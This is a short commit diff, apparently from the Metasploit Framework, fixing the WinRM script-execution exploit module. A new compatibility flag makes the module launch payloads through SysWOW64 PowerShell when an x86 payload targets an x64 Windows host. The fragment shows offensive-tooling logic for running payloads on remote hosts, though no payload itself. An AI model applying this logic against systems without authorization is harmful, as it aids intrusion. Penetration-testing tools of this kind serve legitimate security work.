Fix boneheaded mistake

Author: David Maloney

modules/exploits/windows/winrm/winrm_script_exec.rb

@@ -65,7 +65,7 @@ def initialize(info = {})
 			OptString.new( 'DECODERSTUB',  [ true, 'The VBS base64 file decoder stub to use.',
 				File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")]),
 		], self.class)
-
+		@compat_mode = false
 	end
 
 	def check
@@ -177,6 +177,7 @@ def correct_payload_arch?
 		when "x64"
 			unless datastore['PAYLOAD'].include? "x64"
 				print_error "You selected an x86 payload for an x64 target...trying to run in compat mode"
+				@compat_mode = true
 				return false
 			end
 		when "x86"
@@ -218,7 +219,7 @@ def powershell2?
 		end
 
 		return false unless correct_payload_arch? or @target_arch == "x64"
-		if @target_arch == "x64"
+		if @compat_mode == true
 			@invoke_powershell = "%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
 		else
 			@invoke_powershell = "powershell"